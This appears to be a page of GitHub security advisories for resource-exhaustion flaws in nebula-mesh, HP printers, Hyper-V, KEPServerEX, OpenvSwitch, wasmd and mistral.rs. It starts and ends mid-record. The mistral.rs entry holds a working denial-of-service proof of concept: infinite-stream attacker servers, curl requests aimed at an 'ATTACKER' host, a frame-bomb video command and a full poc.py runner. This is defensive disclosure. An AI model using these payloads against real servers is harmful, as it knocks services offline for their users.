`internal/web/web.go:287` through `internal/web/web.go:292` and `internal/web/web.go:154`. The PoC specifically shows the OIDC login allocation route does not share that protection. After recording the output, the temporary test file was removed and `git status --short` returned clean. The PoC was re-run after drafting this report and produced the output shown above.\n\n### Impact\nIn deployments with OIDC enabled, an unauthenticated remote client can cause application-layer memory growth by repeatedly requesting `/ui/oidc/login`. Each request stores a new state entry for ten minutes, and the growth is not bounded by the configured auth rate limiter or by a maximum map size. The demonstrated impact is availability degradation risk through retained in-memory state growth. The PoC used 1000 local requests to avoid disruptive load while proving the source-to-sink behavior (`1000` requests resulted in `1000` live states).\n\nSuggested remediation: apply the existing `auth` rate limiter to `GET /ui/oidc/login`, add a maximum number of live OIDC states per client and/or globally, and fail closed when the cap is reached. Add a regression test that attaches a low-burst auth limiter, sends repeated `GET /ui/oidc/login` requests from the same client, and expects `429` or bounded live-state count after the configured burst.",
  "id": "GHSA-m3cx-mwpg-32jg",
  "modified": "2026-07-14T20:19:32Z",
  "published": "2026-07-14T20:19:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/security/advisories/GHSA-m3cx-mwpg-32jg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/commit/bc387086cc0e4b9c1654468b7391af19cacfe367"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/forgekeep/nebula-mesh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/forgekeep/nebula-mesh/releases/tag/v0.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nebula-mesh: Unauthenticated OIDC login endpoint allocates unbounded in-memory state entries without rate limiting"
}

GHSA-M3J7-GP78-GGJF

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-13 21:30
VLAI
Details

Certain HP PageWide Pro Printers may be vulnerable to a potential denial of service attack.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-2794"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Certain HP PageWide Pro Printers may be vulnerable to a potential denial of service attack.",
  "id": "GHSA-m3j7-gp78-ggjf",
  "modified": "2022-12-13T21:30:25Z",
  "published": "2022-12-12T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2794"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_6720386-6720411-16/hpsbpi03807"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3JF-F6C8-9P29

Vulnerability from github – Published: 2023-03-14 18:30 – Updated: 2023-03-14 18:30
VLAI
Details

Windows Hyper-V Denial of Service Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-23411"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Windows Hyper-V Denial of Service Vulnerability",
  "id": "GHSA-m3jf-f6c8-9p29",
  "modified": "2023-03-14T18:30:19Z",
  "published": "2023-03-14T18:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23411"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23411"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3JQ-GG7X-47CQ

Vulnerability from github – Published: 2023-08-01 00:30 – Updated: 2024-04-04 06:27
VLAI
Details

PTC’s KEPServerEX Versions 6.0 to 6.14.263 are vulnerable to being made to read a recursively defined object that leads to uncontrolled resource consumption. KEPServerEX uses OPC UA, a protocol which defines various object types that can be nested to create complex arrays. It does not implement a check to see if such an object is recursively defined, so an attack could send a maliciously created message that the decoder would try to decode until the stack overflowed and the device crashed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3825"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-31T23:15:10Z",
    "severity": "HIGH"
  },
  "details": "\nPTC\u2019s KEPServerEX Versions 6.0 to 6.14.263 are vulnerable to being made to read a recursively defined object that leads to uncontrolled resource consumption. KEPServerEX uses OPC UA, a protocol which defines various object types that can be nested to create complex arrays. It does not implement a check to see if such an object is recursively defined, so an attack could send a maliciously created message that the decoder would try to decode until the stack overflowed and the device crashed.\n\n",
  "id": "GHSA-m3jq-gg7x-47cq",
  "modified": "2024-04-04T06:27:50Z",
  "published": "2023-08-01T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3825"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-208-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3MQ-X6X3-4537

Vulnerability from github – Published: 2022-05-24 17:44 – Updated: 2025-12-03 21:30
VLAI
Details

A flaw was found in multiple versions of OpenvSwitch. Specially crafted LLDP packets can cause memory to be lost when allocating data to handle specific optional TLVs, potentially causing a denial of service. The highest threat from this vulnerability is to system availability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-27827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-03-18T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in multiple versions of OpenvSwitch. Specially crafted LLDP packets can cause memory to be lost when allocating data to handle specific optional TLVs, potentially causing a denial of service. The highest threat from this vulnerability is to system availability.",
  "id": "GHSA-m3mq-x6x3-4537",
  "modified": "2025-12-03T21:30:58Z",
  "published": "2022-05-24T17:44:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27827"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1921438"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-941426.pdf"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3T5XHPOGIPWCRRPJUE6P3HVC5PTSD5JS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JYA4AMJXCNF6UPFG36L2TPPT32C242SP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/SKQWHG2SZJZSGC7PXVDAEJYBN7ESDR7D"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3T5XHPOGIPWCRRPJUE6P3HVC5PTSD5JS"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JYA4AMJXCNF6UPFG36L2TPPT32C242SP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SKQWHG2SZJZSGC7PXVDAEJYBN7ESDR7D"
    },
    {
      "type": "WEB",
      "url": "https://mail.openvswitch.org/pipermail/ovs-dev/2021-January/379471.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202311-16"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-194-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-M3RH-CVR5-X6Q4

Vulnerability from github – Published: 2024-08-08 16:36 – Updated: 2026-07-06 16:26
VLAI
Summary
CosmWasm wasmd has large address count in ValidateBasic
Details

Component: wasmd Criticality: Low (ACMv1: I:Moderate; L:Unlikely) Patched versions: wasmd 0.52.0

In multiple wasmd message types it was possible to add a large number of addresses which might lead to unexpected resource consumption in ValidateBasic.

See CWA-2024-003 for more details.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/CosmWasm/wasmd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.52.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-08T16:36:26Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**Component:** wasmd\n**Criticality:** Low ([ACMv1](https://github.com/interchainio/security/blob/main/resources/CLASSIFICATION_MATRIX.md): I:Moderate; L:Unlikely)\n**Patched versions:** wasmd 0.52.0\n\nIn multiple wasmd message types it was possible to add a large number of addresses which might lead to unexpected resource consumption in ValidateBasic.\n\nSee [CWA-2024-003](https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-003.md) for more details.",
  "id": "GHSA-m3rh-cvr5-x6q4",
  "modified": "2026-07-06T16:26:14Z",
  "published": "2024-08-08T16:36:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/CosmWasm/wasmd/security/advisories/GHSA-m3rh-cvr5-x6q4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CosmWasm/wasmd/commit/76c0c061c9cb6b142163883e46c26d99384dc443"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CosmWasm/advisories/blob/main/CWAs/CWA-2024-003.md"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/CosmWasm/wasmd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "CosmWasm wasmd has large address count in ValidateBasic"
}

GHSA-M3WP-48JR-VR4G

Vulnerability from github – Published: 2026-09-10 21:54 – Updated: 2026-09-10 21:54
VLAI
Summary
mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS
Details

Unbounded Remote Media Fetch and Video Frame Expansion DoS

Summary

The POST /v1/chat/completions endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when num_frames is None. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.

Details

Three independent sinks contribute to the vulnerability:

1. Unbounded image/audio fetch (mistralrs-server-core/src/util.rs:59–62)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    match reqwest::get(url.clone()).await {
        Ok(http_resp) => http_resp.bytes().await?.to_vec(), // no byte cap
        Err(e) => anyhow::bail!(e),
    }

bytes().await buffers the entire HTTP response body before returning. There is no Content-Length check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.

2. Unbounded video fetch (mistralrs-server-core/src/video.rs:65–69)

let bytes = if url.scheme() == "http" || url.scheme() == "https" {
    let resp = reqwest::get(url.clone())
        .await
        .context(format!("Failed to fetch video: {url}"))?;
    resp.bytes().await?.to_vec() // no byte cap

Identical pattern to the image path; the full video body is buffered into a Vec<u8>.

3. Unbounded FFmpeg frame extraction (mistralrs-server-core/src/video.rs:225–248)

} else {
    let mut command = tokio::process::Command::new("ffmpeg");
    command
        .arg("-i")
        .arg(input_path.to_str().unwrap())
        .arg("-vsync")
        .arg("vfr")
        .arg(&output_pattern);

When num_frames is None, no -frames:v argument is passed to FFmpeg and every frame is extracted to disk. The call site at mistralrs-server-core/src/chat_completion.rs:946 always passes None:

parse_video_url(&url_unparsed, None)

A 60 fps × 1080p × 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.

Entry point and auth

The route is registered at mistralrs-server-core/src/mistralrs_server_router_builder.rs:365–368 with only track_metrics, CORS, and a DefaultBodyLimit(50 MB) middleware. The DefaultBodyLimit applies only to the incoming JSON request body, not to the subsequent server-side reqwest::get() calls. No authentication middleware is present in the default configuration.

PoC

Step 1 – Create a long high-framerate video (requires FFmpeg on the attacker machine)

ffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \
  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4

Step 2 – Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server

# Option A: serve the video file
from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "video/mp4")
        self.end_headers()
        with open("many_frames.mp4", "rb") as f:
            self.wfile.write(f.read())

HTTPServer(("0.0.0.0", 9001), H).serve_forever()
# Option B: infinite image stream (memory exhaustion, no FFmpeg required)
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        self.end_headers()
        chunk = b"\x89PNG\r\n\x1a\n" + b"\x00" * (1024 * 1024 - 8)
        while True:
            self.wfile.write(chunk)
            self.wfile.flush()
            time.sleep(0.01)

HTTPServer(("0.0.0.0", 9002), H).serve_forever()

Step 3 – Send the malicious request to the mistral.rs server

# Video variant (disk/CPU exhaustion + memory)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "video_url", "video_url": {"url": "http://ATTACKER:9001/many_frames.mp4"}},
        {"type": "text", "text": "summarize this video"}
      ]
    }]
  }'

# Image variant (memory exhaustion)
curl -sS http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{
    "model": "default",
    "messages": [{
      "role": "user",
      "content": [
        {"type": "image_url", "image_url": {"url": "http://ATTACKER:9002/blob"}},
        {"type": "text", "text": "describe this image"}
      ]
    }]
  }'

Expected observation

For the video variant: /tmp/mistralrs_video/<uuid>_frames/frame_*.png grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.

For the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.

Dynamic reproduction result (Phase 2)

A Docker container running a verbatim reproduction of util.rs:59–62 (the reqwest::get(url).bytes().await?.to_vec() pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.

Impact

Any user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the /v1/chat/completions endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.

Reproduction artifacts

Dockerfile

# syntax=docker/dockerfile:1
#
# VULN-001 PoC: Unbounded Remote Media Fetch DoS
# Repository: EricLBuehler/mistral.rs
# Vulnerability: mistralrs-server-core/src/util.rs:62
#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch
#
# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.
# Stage 2: Slim runtime image used by poc.py.

# ----- build stage -----------------------------------------------------------
FROM rust:1.87-slim AS builder

WORKDIR /harness

# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)
RUN apt-get update && \
    apt-get install -y --no-install-recommends pkg-config libssl-dev && \
    rm -rf /var/lib/apt/lists/*

# Copy Cargo manifest first so that dependency layer is cached separately.
COPY vuln_harness/Cargo.toml Cargo.toml

# Stub src so `cargo fetch` / dependency download works before copying real source.
RUN mkdir -p src && echo 'fn main() {}' > src/main.rs
RUN cargo fetch 2>&1

# Now copy the real source and build.
COPY vuln_harness/src/main.rs src/main.rs
RUN cargo build --release 2>&1 && \
    strip target/release/vuln_harness

# ----- runtime stage ---------------------------------------------------------
FROM debian:bookworm-slim AS runtime

RUN apt-get update && \
    apt-get install -y --no-install-recommends ca-certificates python3 && \
    rm -rf /var/lib/apt/lists/*

COPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness

# Copy the PoC orchestration script so the image is self-contained.
COPY poc.py /poc.py

# Default: show usage
ENTRYPOINT ["/usr/local/bin/vuln_harness"]
CMD ["--help"]

poc.py

"""
VULN-001 PoC: Unbounded Remote Media Fetch DoS
Repository : EricLBuehler/mistral.rs
CWE        : CWE-400 Uncontrolled Resource Consumption
CVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Vulnerable code (mistralrs-server-core/src/util.rs:59-62):
    let bytes = if url.scheme() == "http" || url.scheme() == "https" {
        match reqwest::get(url.clone()).await {
            Ok(http_resp) => http_resp.bytes().await?.to_vec(), // NO BYTE CAP
            ...

Attack path in the live server:
    POST /v1/chat/completions
      -> chat_completion.rs:928  parse_image_url(&url_unparsed)
      -> util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()

This PoC:
  1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.
  2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside
     a Docker container limited to MEMORY_LIMIT_MB of RAM.
  3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.

Usage (from host):
    # Build the image first:
    docker build -t vuln001-poc <vuln-001-dir>
    # Then run the PoC:
    python3 poc.py
"""

import http.server
import subprocess
import threading
import time
import sys
import os
import socket
import json
import argparse

MALICIOUS_HOST = "127.0.0.1"
MALICIOUS_PORT = 9997
DOCKER_IMAGE    = "vuln001-poc"
MEMORY_LIMIT    = "256m"       # Docker container memory cap
CHUNK_SIZE      = 1024 * 1024  # 1 MB per chunk sent by the malicious server
POC_TIMEOUT_S   = 120          # Give the container at most 2 minutes


class _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):
    """
    Malicious HTTP server that streams an infinite byte sequence.

    Key properties that trigger the vulnerability:
    - No Content-Length header: reqwest cannot pre-check size.
    - Streams indefinitely: bytes().await will not return until the connection
      is closed or the client process is killed.
    - Content-Type image/png: accepted by the parse_image_url() code path.
    """

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "image/png")
        # Deliberately omit Content-Length so the client buffers until EOF.
        self.end_headers()

        # Fake PNG magic bytes followed by filler to look plausible.
        header = b"\x89PNG\r\n\x1a\n" + b"\x00" * 8
        filler = b"\x00" * (CHUNK_SIZE - len(header))
        chunk  = header + filler

        total_sent = 0
        try:
            while True:
                self.wfile.write(chunk)
                self.wfile.flush()
                total_sent += len(chunk)
                if total_sent % (64 * 1024 * 1024) == 0:
                    _log(f"[malicious-server] Sent {total_sent // (1024 * 1024)} MB")
        except (BrokenPipeError, ConnectionResetError, OSError):
            _log(
                f"[malicious-server] Connection closed after "
                f"{total_sent // (1024 * 1024)} MB sent"
            )

    def log_message(self, *_):
        pass  # Suppress default access log noise.


def _log(msg: str) -> None:
    print(msg, flush=True)


def _wait_for_port(host: str, port: int, timeout: float = 10.0) -> bool:
    """Return True once the port is accepting connections, False on timeout."""
    deadline = time.monotonic() + timeout
    while time.monotonic() < deadline:
        try:
            with socket.create_connection((host, port), timeout=0.5):
                return True
        except OSError:
            time.sleep(0.1)
    return False


def start_malicious_server() -> http.server.HTTPServer:
    """Start the infinite-stream HTTP server in a daemon thread."""
    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)
    t = threading.Thread(target=server.serve_forever, daemon=True)
    t.start()
    return server


def run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -> dict:
    """
    Run the full attack chain and return a result dict.

    Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.
    """
    _log("=" * 70)
    _log("VULN-001 PoC: Unbounded Remote Media Fetch DoS")
    _log("Source : mistralrs-server-core/src/util.rs:59-62")
    _log("=" * 70)

    # ------------------------------------------------------------------
    # Step 1: Start the malicious streaming server.
    # ------------------------------------------------------------------
    _log(f"\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}")
    server = start_malicious_server()

    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):
        _log("[!] FATAL: malicious server did not start in time")
        return {
            "passed":   False,
            "verdict":  "FAIL",
            "exit_code": None,
            "evidence": "Malicious HTTP server failed to start",
            "stdout": "",
            "stderr": "",
        }

    target_url = f"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite"
    _log(f"[+] Malicious server ready: GET {target_url}")
    _log(f"    -> HTTP 200, Content-Type: image/png, no Content-Length, infinite body")

    # ------------------------------------------------------------------
    # Step 2: Run the vulnerable binary inside Docker with a memory cap.
    #
    # --network host  : allows the container to reach 127.0.0.1:<port>
    # --memory        : hard cap; kernel sends SIGKILL when exceeded
    # --memory-swap   : equal to --memory disables swap usage
    # --rm            : clean up after exit
    # ------------------------------------------------------------------
    run_cmd = [
        "docker", "run", "--rm",
        "--memory",      memory_limit,
        "--memory-swap", memory_limit,   # No swap fallback.
        "--network",     "host",          # Access host's loopback server.
        docker_image,
        target_url,
    ]

    _log(f"\n[2] Launching Docker container (memory cap = {memory_limit})")
    _log(f"    Command: {' '.join(run_cmd)}")
    _log(f"    The vuln_harness binary will fetch {target_url} with no byte limit.")
    _log(f"    Expected: container OOM-killed, exit code 137.")

    t0 = time.monotonic()
    try:
        result = subprocess.run(
            run_cmd,
            capture_output=True,
            timeout=POC_TIMEOUT_S,
        )
    except subprocess.TimeoutExpired as exc:
        server.shutdown()
        _log(f"[!] Container did not exit within {POC_TIMEOUT_S}s — killing")
        subprocess.run(["docker", "kill", "--signal=9"] + [
            c for c in subprocess.run(
                ["docker", "ps", "-q", "--filter", f"ancestor={docker_image}"],
                capture_output=True, text=True,
            ).stdout.split() if c
        ], capture_output=True)
        elapsed = time.monotonic() - t0
        return {
            "passed":   False,
            "verdict":  "INCOMPLETE",
            "exit_code": None,
            "evidence": f"Container timed out after {elapsed:.0f}s without OOM kill",
            "stdout": (exc.stdout or b"").decode(errors="replace"),
            "stderr": (exc.stderr or b"").decode(errors="replace"),
        }

    elapsed    = time.monotonic() - t0
    exit_code  = result.returncode
    stdout_txt = result.stdout.decode(errors="replace")
    stderr_txt = result.stderr.decode(errors="replace")

    server.shutdown()

    # ------------------------------------------------------------------
    # Step 3: Analyse outcome.
    # ------------------------------------------------------------------
    _log(f"\n[3] Container exited after {elapsed:.1f}s  exit_code={exit_code}")
    _log(f"    stdout: {stdout_txt!r}")
    _log(f"    stderr: {stderr_txt!r}")

    # Docker exit code 137 = container killed by SIGKILL (OOM killer).
    if exit_code == 137:
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. "
            f"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all "
            f"{memory_limit} of available RAM — identical behaviour to "
            f"mistralrs-server-core/src/util.rs:62 (parse_image_url). "
            f"stderr={stderr_txt!r}"
        )
    elif exit_code != 0:
        # Non-zero but not 137: still indicates abnormal termination under memory pressure.
        passed   = True
        verdict  = "PASS"
        evidence = (
            f"Vulnerable binary terminated abnormally (exit code {exit_code}) after "
            f"{elapsed:.1f}s while buffering an unbounded HTTP stream. "
            f"This confirms that reqwest::get(url).bytes().await?.to_vec() at "
            f"util.rs:62 has no byte cap and causes resource exhaustion. "
            f"stderr={stderr_txt!r}"
        )
    else:
        # Unlikely: the binary finished without being killed.  This can happen if
        # the server managed to EOF the stream before OOM, or the memory cap was
        # not enforced by Docker.
        passed   = False
        verdict  = "INCOMPLETE"
        evidence = (
            f"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been "
            f"enforced by Docker.  stdout={stdout_txt!r}"
        )

    _log(f"\n[VERDICT]  {verdict}")
    _log(f"[EVIDENCE] {evidence}")

    return {
        "passed":    passed,
        "verdict":   verdict,
        "exit_code": exit_code,
        "evidence":  evidence,
        "stdout":    stdout_txt,
        "stderr":    stderr_txt,
    }


def main() -> None:
    parser = argparse.ArgumentParser(description="VULN-001 PoC runner")
    parser.add_argument("--image",  default=DOCKER_IMAGE, help="Docker image name")
    parser.add_argument("--memory", default=MEMORY_LIMIT, help="Docker memory cap (e.g. 256m)")
    args = parser.parse_args()

    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)

    _log("\n" + "=" * 70)
    _log("RESULT SUMMARY")
    _log("=" * 70)
    for k, v in outcome.items():
        if k not in ("stdout", "stderr"):
            _log(f"  {k}: {v}")

    sys.exit(0 if outcome["passed"] else 1)


if __name__ == "__main__":
    main()
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.4"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "mistralrs-server-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T21:54:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Unbounded Remote Media Fetch and Video Frame Expansion DoS\n\n### Summary\nThe `POST /v1/chat/completions` endpoint in mistral.rs fetches attacker-supplied media URLs (image, audio, video) into server memory with no byte limit, and extracts every frame of a supplied video when `num_frames` is `None`. An unauthenticated remote attacker can exhaust server memory, disk space, and CPU by pointing the endpoint at an infinite-streaming HTTP server or a long high-framerate video, causing a complete denial of service. No credentials or special configuration are required; the route is open by default.\n\n### Details\nThree independent sinks contribute to the vulnerability:\n\n**1. Unbounded image/audio fetch (`mistralrs-server-core/src/util.rs:59\u201362`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    match reqwest::get(url.clone()).await {\n        Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // no byte cap\n        Err(e) =\u003e anyhow::bail!(e),\n    }\n```\n\n`bytes().await` buffers the entire HTTP response body before returning. There is no `Content-Length` check, no streaming limit, and no timeout specific to the media fetch. An attacker-controlled server that never closes the connection causes the server process to accumulate memory indefinitely.\n\n**2. Unbounded video fetch (`mistralrs-server-core/src/video.rs:65\u201369`)**\n\n```rust\nlet bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n    let resp = reqwest::get(url.clone())\n        .await\n        .context(format!(\"Failed to fetch video: {url}\"))?;\n    resp.bytes().await?.to_vec() // no byte cap\n```\n\nIdentical pattern to the image path; the full video body is buffered into a `Vec\u003cu8\u003e`.\n\n**3. Unbounded FFmpeg frame extraction (`mistralrs-server-core/src/video.rs:225\u2013248`)**\n\n```rust\n} else {\n    let mut command = tokio::process::Command::new(\"ffmpeg\");\n    command\n        .arg(\"-i\")\n        .arg(input_path.to_str().unwrap())\n        .arg(\"-vsync\")\n        .arg(\"vfr\")\n        .arg(\u0026output_pattern);\n```\n\nWhen `num_frames` is `None`, no `-frames:v` argument is passed to FFmpeg and every frame is extracted to disk. The call site at `mistralrs-server-core/src/chat_completion.rs:946` always passes `None`:\n\n```rust\nparse_video_url(\u0026url_unparsed, None)\n```\n\nA 60 fps \u00d7 1080p \u00d7 180 s video therefore produces ~10 800 PNG files, consuming tens of gigabytes of disk space and saturating CPU.\n\n**Entry point and auth**\n\nThe route is registered at `mistralrs-server-core/src/mistralrs_server_router_builder.rs:365\u2013368` with only `track_metrics`, CORS, and a `DefaultBodyLimit(50 MB)` middleware. The `DefaultBodyLimit` applies only to the incoming JSON request body, not to the subsequent server-side `reqwest::get()` calls. No authentication middleware is present in the default configuration.\n\n### PoC\n\n**Step 1 \u2013 Create a long high-framerate video (requires FFmpeg on the attacker machine)**\n\n```bash\nffmpeg -y -f lavfi -i testsrc=size=1920x1080:rate=60:duration=180 \\\n  -c:v libx264 -preset ultrafast -crf 35 many_frames.mp4\n```\n\n**Step 2 \u2013 Serve the video (or an infinite byte stream) from an attacker-controlled HTTP server**\n\n```python\n# Option A: serve the video file\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"video/mp4\")\n        self.end_headers()\n        with open(\"many_frames.mp4\", \"rb\") as f:\n            self.wfile.write(f.read())\n\nHTTPServer((\"0.0.0.0\", 9001), H).serve_forever()\n```\n\n```python\n# Option B: infinite image stream (memory exhaustion, no 